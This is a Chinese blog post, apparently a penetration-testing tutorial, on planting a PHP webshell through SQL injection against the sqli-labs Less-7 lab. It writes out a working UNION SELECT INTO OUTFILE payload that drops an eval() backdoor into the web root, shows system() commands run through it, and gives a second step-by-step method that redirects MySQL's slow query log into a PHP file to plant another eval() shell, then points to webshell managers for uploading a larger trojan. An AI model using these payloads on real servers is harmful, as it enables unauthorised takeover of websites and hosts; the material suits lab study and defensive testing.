写入shell

写入shell

为什么要写shell

我们一般通过SQL注入写的都是小马,什么是小马,一句话说小马就是一种短小但是功能完善的木马客户端,通过它我们可以构造系统命令执行,从而达到控制操作系统的目的。它的隐蔽性好,功能强大,可能一两个函数就可以达到控制对方网站或者主机的目的。一般渗透测试中遵从的是先传小马,再通过菜刀或者其他管理工具连接,再上传大马的逻辑。

我们把恶意的函数写入到文件里去,通过访问文件,搭建平台会执行文件中的参数,而这个文件可以被我们利用来执行操作,从而达到了控制目标操作系统的目的。

通过SQL注入漏洞写入恶意代码并且控制OS

要求

1.首先需要知道远程目录(猜测+经验)

@@basedir mysql,去猜测对方的网站目录
有时候Phpinfo()探针的泄露。


# 通过@@basedir知道了sqli-labs安装路径为  C:/phpStudy/PHPTutorial/MySQL/
  可以猜测出网站是php搭建的,那么这个网站的绝对路径应该是   C:/phpStudy/PHPTutorial//WWW

2.其次需要远程目录有写的权限(不可控)
3.需要数据库开启了secure_file_priv
MySQL新特性secure_file_priv 对读写文件的影响,此开关默认为NULL,即不允许导入导出,这个对我们写入shell有重要的影响

secure_file_priv 效果
NULL 不允许导入导出
可以读写,但是不能动态更改
指定文件夹 MySQL的导入导出只能发生在指定文件夹

如果我们可以写入,要写入的是它的绝对路径

虚拟机上查看sqli-labs的secure_file_priv特性

show global variables like "%secure%";

image

发现是NULL,为了之后的演示,我们将secure_file_priv文件修改为空,打开MySQL的配置文件my.ini,添加如下代码

image

重启后再次查看secure_file_priv特性发现为空

image

流程——以sqli-labs/Less-7为例

写入小木马

http://192.168.223.132/sqli-labs/Less-7/?id=1')) union select 1,2,"<?php eval($_GET['w']);?>" into outfile "C:/phpStudy/PHPTutorial/WWW/1.php" %23
# eval()函数把字符串按照 PHP 代码来执行,通过eval函数我们再调用system函数就可以执行系统命令

image

[http://192.168.223.132/](http://192.168.223.132/sqli-labs/Less-7/?id=1%27))%20union%20select%201,2,3%20%23)1.php?w=system('dir');  查看目录卷
[http://192.168.223.132/](http://192.168.223.132/sqli-labs/Less-7/?id=1%27))%20union%20select%201,2,3%20%23)1.php?w=system('ipconfig');  查看网络配置

通过get shell后可以通过shell管理工具(中国蚁剑,中国菜刀等)来访问网站文件,如果一个不行就换一个,密码为GET型传入的参数(在这里是w),以此上传大马

如果secure_file_priv文件为NULL,但phpmyadmin开放或者有机会操控数据库,可以使用全局变量(慢日志)来get shell,前提也要有写的权限

慢日志写shell

原理

慢日志指的是查询时间超过慢日志要求查询时间的查询都会存入慢日志,如果把日志的查询路径改成木马文件,就可以使用恶意查询语句

命令


# 1.查看当前慢查询日志目录
show variables like "%slow%";
# 2.开启慢查询日志的功能
set global slow_query_log=on
# 3.重新设置日志路径,注意设置为网站的绝对路径
set global slow_query_log_file="E:/PHPCUSTOM/wwwroot/accessinfo.php"   # 将日志路径设置为网站路径WWW下,可进入的info文件为accessinfo.php
# 4.设置慢查询时间(构造查询大于慢日志纪录的时间)
set global slow_launch_time=X   # X>original_slow_launch_time   # 有时候网络延迟,也会大于原来设置的时间,会记录不必要的信息,而设置大于原来时间或者及以上则可以排出这种干扰
# 5.执行SQL语句,写webshell进日志文件
select '<?php eval($_POST[cmd]); ?>' from mysql.db where sleep(10);

流程

1.查看慢日志目录

show variables like %slow%";

image

2.发现慢查询日志功能未开启,开启慢查询日志功能

set global slow_query_log=on;
show variables like %slow%";  #由于每次操作需要再次查看慢日志目录才能看到更新,建议每次都带上查看语句

image

3.重新设置日志路径

set global_slow_query_log_file="C:/phpStudy/PHPTutorial/WWW/haha.php
show variables like "%slow%";

image

正确输入路径后,情况如下

image

image

4.构造慢查询时间

set global slow_launch_time=5;

image

5. 执行SQL语句,写webshell进日志文件

select '<?php eval($_POST[cmd]); ?>' from mysql.db where sleep(10);  # 密码为cmd

image

6.使用shell管理工具进行连接,输入URL地址和密码(cmd),完成后上传大马

image

7.完成后用浏览器就可以直接拿到shell了

posted @ 2021-08-15 14:36  icui4cu  阅读(567)  评论(0编辑  收藏  举报